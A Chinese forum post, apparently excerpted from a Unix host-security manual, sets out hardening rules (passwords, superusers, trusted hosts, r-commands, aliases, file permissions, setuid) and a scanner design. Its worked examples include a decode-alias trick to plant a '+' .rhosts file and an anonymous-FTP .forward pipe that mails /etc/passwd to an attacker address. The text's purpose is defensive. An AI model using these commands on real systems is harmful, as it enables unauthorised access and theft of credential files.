- 论坛徽章:
- 0
|
投砖引玉 话主机安全
4.3.1 口令安全性规则
通过口令进行身份认证是目前实现计算机安全的主要手段之一,一个用户的口令被非法用户获悉,则该非法用户即获得了该用户的全部权限,这样,尤其是高权限用户的口令泄露以后,主机和网络也就随即失去了安全性。系统管理员以及其它所有用户对口令选取应采取负责的态度,消除侥幸和偷懒思想。具体来说应遵循以下一些规则:
口令长度不要小于6位,并应同时包含字母和数字,以及标点符号和控制字符。
口令中不要使用常用单词(避免字典攻击)、英文简称、个人信息(如生日、名字、反向拼写的登录名、房间中可见的东西)、年份以及机器中的命令等,不要在不同系统上,特别是不同级别的用户上使用同一口令。
定期改变口令。
系统安装对口令文件进行隐藏的程序或设置(例如Shadow Suite for linux)。
系统配置对用户口令设置情况进行检测的程序,并强制用户定期改变口令,任何一个用户口令的脆弱,都会影响整个系统的安全性。
4.3.2 超级用户唯一性规则
超级用户对于系统的一切文件都有进行所有操作的权利。但是最大的自由相应地也需要承担最大的风险,如果超级用户权限被黑客得到,将对整个系统带来毁灭性的打击。为了减少超级用户被破译的可能性,必须将系统中多余的超级用户删除,在一个系统中只存在一个超级用户是每个系统管理员必须遵守的原则。
超级用户可以从/etc/passwd文件中查出,超级用户的user ID为0,但是group ID稍有不同,在不同的系统版本里分别有两种形式:0或1。当/etc/passwd文件中有多于两个用户项为:用户名 :0:0或用户名 :0:1时,就必须遵照唯一性规则进行改正。
4.3.3 禁用Trusted主机(被信任主机)规则
在实际工作中,系统管理员为方便与其他主机进行数据传输、软硬件资源共享和r服务(如rlogin、rsh等远程系统调用命令),往往在/etc/hosts.equiv文件中设置远程主机名,以此确认该主机为Truseted主机。这样,一个被信任主机可以不需口令地访问系统及调用r服务。更有甚者,某些系统管理员在/etc/hosts.equiv文件内设置"+"符号,虽然这个参数可以方便所有远程访问,但同样方便了黑客。因为这会使任何一台主机上的任何用户都可以不需口令地访问系统,对系统安全造成很大的损害。
同样,.rhosts文件也提供了Trusted主机和r命令访问功能。但它比/etc/hosts.equiv文件可能会导致更大的安全漏洞。因为系统内的任何用户都可能在各自的$HOME目录下创建该文件。那么.rhosts文件中指定的远程主机上的用户在以该用户名登录本地主机系统时,不需口令认证。特别是在.rhosts 文件内设置"+"符号的情形,更会使任何一台主机上的任何用户都可以不需口令地访问本系统的这个用户,从而导致安全漏洞的出现。
为安全计,如果无特殊需要,应该清除一切Trusted主机相关配置。
4.3.4 禁用r命令规则
r命令是由Berkley开发的一系列命令软件,由于这些命令如rlogin、rsh、rcp、rdist等均以"r"开头,因此统称为r命令。
r命令固有的弱点包括:任何口令都是未经加密的,如果有人对网络进行窃听,很容易发现口令;整个r命令对话都是未经加密的,对话中的每一个字符(包括口令)很容易被记录下来;系统管理员为管理方便,经常使用rlogin等命令从远程登录来调试Web服务器的设置,形成潜在的安全漏洞。
为安全计,如果无特殊需要,应该在路由器上或主机/etc/inetd.conf文件内过滤掉512、513和514(TCP)端口,这样可阻止主机外部用户使用r命令。
4.3.5 禁用X Windows 规则
X Windows系统是一种客户机/服务器结构的窗口系统,每个拥有显示设备的主机系统都可以作为服务器,并可接受另一个主机系统作为其客户。它的运行模式是:程序在客户机系统上运行,而用户界面却显示在服务器的显示设备上,客户机通过网络把应该显示出来的内容传送给服务器,服务器则把用户的输入通过网络传送给客户机。
和r命令一样,所有的X Windows 传输内容都是不加密的,并且它的身份验证功能也不够强大,容易丧失作用(如"xhost +"命令)。
为安全计,如果无特殊需要,X Windows设置可以认为是不必要的。
4.3.6 禁用/etc/aliases中的"decode"别名规则
如果系统管理员没有将/etc/aliases文件内以decode别名起始的一行注释掉,那么该主机允许decode别名。若用户zy主目录(如/export/home/zy)下的 .rhosts文件对daemon(smtp服务器通常以daemon用户身份运行)可写,即有:
sun%echo "+" | uuencode /export/home/zy/.rhosts | mail decode@ngcc.com
在该例中,本地的uuencode程序生成一个编码流,文件名为"/export/home/zy/.rhosts ",内容为一个"+",并作为电子邮件发给ngcc.com上的decode别名。ngcc.com收到该邮件后,把这个编码流重定向到解码程序uudecode,uudecode则恢复文件内容,并试图把它存为/export/home/zy/.rhosts。如果daemon对/export/home/zy/目录有写权限,则上述命令执行成功。于是/export/home/zy/.rhosts中就出现一个"+",这正是攻击者需要的。
为安全计,应该禁用/etc/aliases中的"decode"别名。
4.3.7 审核文件和目录权限规则
(1)FTP的根目录
FTP的根目录不同于主机系统的根目录,所以FTP下看到的/etc/passwd和系统的/etc/passwd不是一个文件,但有些不称职的系统管理员在创建FTP目录结构时会把系统的/etc/passwd文件直接拷贝过来,这就会给黑客以可乘之机。
FTP的根目录是在系统的/etc/passwd文件中指定的,也就是用匿名FTP登录到主机后的起始目录。
例如:事先编写forward_sucker_file shell脚本,内容为:
sun% cat forward_sucker_file
"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr"
通过FTP将forward_sucker_file脚本传送到目标主机(如ngcc.com)
sun% ftp ngcc.com
Connected to ngcc.com
220 victim FTP server ready.
Name (ngcc.com:zy): ftp
331 Guest login ok, send ident as password.
Password: [输入电子邮件地址]
230 Guest login ok, access restrictions apply.
ftp>; put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp>; quit
将passwd文件内容发送到黑客邮件地址:
sun% echo test | mail ftp@ngcc.com
如果匿名FTP主目录可写,可以在其下投放一个".forward"文件;文件内容是一行用双引号引起来的Shell命令;".forward"文件是用于邮件转发的:如果某一用户(此处为ftp)的主目录下有这个文件,那么当该用户收到邮件时,就要视".forward"的内容进行转发。如果".forward"的内容为一些电子邮件地址,该邮件就被转发到这些地址;而如果为一行用双引号引起来的Shell命令,则该邮件的内容被重定向到此命令。此处,命令为:"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr",实际上对重定向过来的作为输入的邮件内容没有做任何处理,而是把/etc/passwd(为了防止被安全机制过滤,先在每一行行首增加一个空格)发到了攻击者的电子邮件地址(me@my.e-mail.addr)。因此,在投放了这样一个".forward"文件后,再随便发一封电子邮件给victim.com上的FTP用户,通过"转发"功能,ngcc.com上的/etc/passwd文件就寄到攻击者的电子邮件地址上。
(2)其他文件和目录
确保没有其他文件和目录被FTP用户或所在的组拥有所有权(ownered by ftp account and ftp group);否则,黑客可能借助特洛伊木马程序对合法文件进行替代,构成漏洞隐患。
除了~/ftp/incoming目录外,匿名(anonymous)FTP 用户在其他目录下不能创建任何文件和子目录。
文件和目录权限修改要慎重:对于系统或CERT组织推荐的有关特定文件的读写权限,如/var/adm/utmpx和/var/adm/wtmpx文件权限应该为644,不要轻易修改。一般情况下,拥有对任何文件和目录具有写权限的用户只能是超级用户,进一步说,如果一个文件或目录可写,则可写者只能为超级用户。
(3)setUID和setGID问题
setUID的作用是允许程序以一个特定用户的身份去运行,而不管到底是谁在运行它。就是说,setUID允许程序将其用户ID改变为另一个用户的ID。SetGID功能同setUID,区别是将一个正在运行的程序的组帐号改变为一个特定的组帐号。setUID和setGID只使用于可执行文件,二者对某些特定的程序才可以访问特定信息的情形是很有价值的。如普通用户在运行passwd命令时,由于该命令setUID为root,则可以获得修改只有root才有相应权限的/etc/shadow文件,从而改变自己的口令。
但是,setUID和setGID容易被黑客利用来制造缓冲区溢出,从而永久获得root权限。据CERT指出,利用setUID制造缓冲区溢出是黑客获得root权限的主要方法之一。因此,系统管理员不能随意赋予可执行文件setUID和setGID特性。
4.3.8 审核用户帐户的安全性规则
Solaris和Irix等Unix系统中,除去超级用户外,还存在如lp、sys、adm、nobody等管理帐户。虽然它们没有超级用户的特权,但同样应受到保护,因为这些帐户的系统进程可以控制基本的系统功能,如电子邮件、关系数据库访问、打印等。这些管理帐户内的任何一个遭到攻击,都可能导致相应子系统中的文件被大规模地暴露和损坏。例如,lp帐户所受的破坏可能会造成攻击者对打印子系统获得完全控制,从而使黑客能够任意地修改打印输出的内容。
从管理帐户在Web服务器运作中的职责和作用看,大部分应该予以封闭。比如lp,Web服务器上是没有必要也不允许打印文件的。由于这些管理帐户是Unix系统预装的,系统管理员常予以保留。但这些管理帐户可能被黑客利用,且它们对Web服务器用处不大。所以,一些管理帐户,包括daemon、sys、lp、adm、uucp、nuucp、listen,应该封闭。
此外,超级用户的PATH(在cshell中存在于.cshrc文件,在kshell中存在于.profile文件)或LD_LIBRARY_PATH变量中,不应该存在"."或"~"字符,因为黑客可能利用这一点来植入特洛伊木马程序。
审核用户帐户的安全性规则涉及到/etc/passwd和/etc/shadow两个核心文件。一方面,系统管理员要保证其内容完整性,禁止非法修改,或者及时发现非法修改并予以修正;另一方面,禁止无口令或弱势口令的存在。所谓弱势口令指易于猜测、破解或长期不变更的口令。实践表明,主机安全的核心问题是超级用户的口令安全问题。超级用户的口令被泄露或被成功破解,等于拱手将服务器系统的所有管理权让于黑客,黑客可以轻易获得主机内的所有数据。
4.3.9 禁止不必要的网络访问服务规则
所谓不必要的网络访问服务是指实现主机系统网络服务功能所不需要运行的服务。对于Web主机而言,很多网络访问服务在操作系统安装时就被缺省配置,其所对应的TCP/UDP端口也对外打开,如非常危险的finger服务和它对应的79号TCP端口。通过对网站的端口扫描,可以发现很多系统管理员对外提供了或多或少的不必要的网络访问服务。而从系统内部审核不必要网络访问服务的方法是禁止不必要的网络访问服务的最有效手段之一。
需要补充的是,另外一些需要禁止的服务为:sendmail、NFS服务器和客户机、automounter和rexd等。由于sendmail是著名的漏洞程序,很多机构购置了Netscape Messaging Server等其他mail服务软件加以替代;rexd服务基本无安全可言,远程用户可以象在本地一样畅通无阻地运行本地主机的程序。因此rexd处于被禁之列。
4.4.2 检查用户信息
(1)检测服务器系统中是否存在多个超级用户,确定潜在的后门。如果系统存在多个超级用户,为系统安全计,建议手工删除多余或非法的超级用户设置。这部分功能主要通过检测/etc/passwd文件内的相关信息得以实现。
(2)将/etc/passwd 文件与其标准备份文件(如/etc/ncb)进行比较,确定二者的不同之处。该标准备份文件应不易被攻击者发现,最好放置在内含文件较多的系统缺省目录内,命名则与系统命令类似。该标准备份文件可视为用户配置标准规则之一,系统管理员的配置和更新均及时反映在这个文件中,并且是合理的。在标准备份文件与/etc/passwd进行逐行比较的情况下,黑客对/etc/passwd的任何改变均会被检测出来。
(3)在/etc/shadow 文件中检测是否有无口令用户的存在。如果存在无口令用户立即给出警告信息。
(4)检测服务器中用户主目录的权限设置,当用户目录权限超过组可读的限度时给出警告,特别是用户主目录全可写时给出严重警告,提醒管理员立即修改该用户主目录权限。
4.4.3 危险Suid文件的检查
扫描几个重要的系统可执行文件的目录,包括/usr/bin、/usr/sbin、/usr/dt/bin和/usr/openwin/bin。由于系统本身在这些目录下就具有很多必要的Suid的文件,所以在实现中对应于每个目录都有一个该目录下标准的合法Suid文件库,当在扫描中如果发现不是标准库中的Suid文件时,就显示出该文件,并给出警告,提醒管理员立即检查该文件的合法性。
4.4.4 检查文件安全性
(1)检查/etc目录下重要配置文件的权限,对于此类文件超过组可读的权限即给出警告并根据权限大小给出相应警告。
(2)通过扫描/etc/passwd文件,检测服务器中用户主目录的权限设置,当用户目录权限超过组可读的限度时给出警告,特别是用户主目录全可写时给出严重警告,提醒管理员立即修改该用户主目录权限。
4.4.5 基于信任机制的扫描
(1)检查/etc/hosts.equiv文件的安全性。首先检查该文件是否存在,如果该文件存在,再检查该文件是否为空,如果为空,则建议系统管理员删除该文件;如果不为空,则进一步检查该文件内是否存在"+"符号,如果存在,程序予以严重警告。
(2)检测 /.rhosts文件的安全性。如果该文件存在,程序予以警告;如果该文件内存在"+"符号,程序予以严重警告;如果该文件内存在"++",则程序要求管理员立即删除此标记并用入侵检测工具检查整个系统。最后程序建议用户如无必要则删除该文件。
4.4.6 检查网络访问服务安全
扫描/etc/services和/etc/inetd.conf文件,如果一个网络服务在两个文件中都没有被注释掉,则表明系统启动了该网络服务。在这些启动的网络服务中,再看有没有一些存在隐患、易被黑客利用而又没有太大必要开放的服务,如果有则提出警告,由系统管理员作最后的权衡,是否关掉该服务。
4.4.7 检测NFS漏洞
检测目标主机是否存在NFS 共享的目录和文件,如果存在则给出警告。需要说明的是,主机扫描模块获知的漏洞信息,一般情况下,予以提示系统管理员。至于修改漏洞,为安全计,建议系统管理员手动修改完成。
4.4.8 其它隐患扫描
(1)检查 /etc/aliases 文件中 decode项是否被封闭,若没有则提示是否添加 "#"符号 于 /etc/aliases 中decode 相关行首。
(2)检测 /.cshrc 脚本文件path设置项内是否存在 "." 字符,是则建议删除。 |
|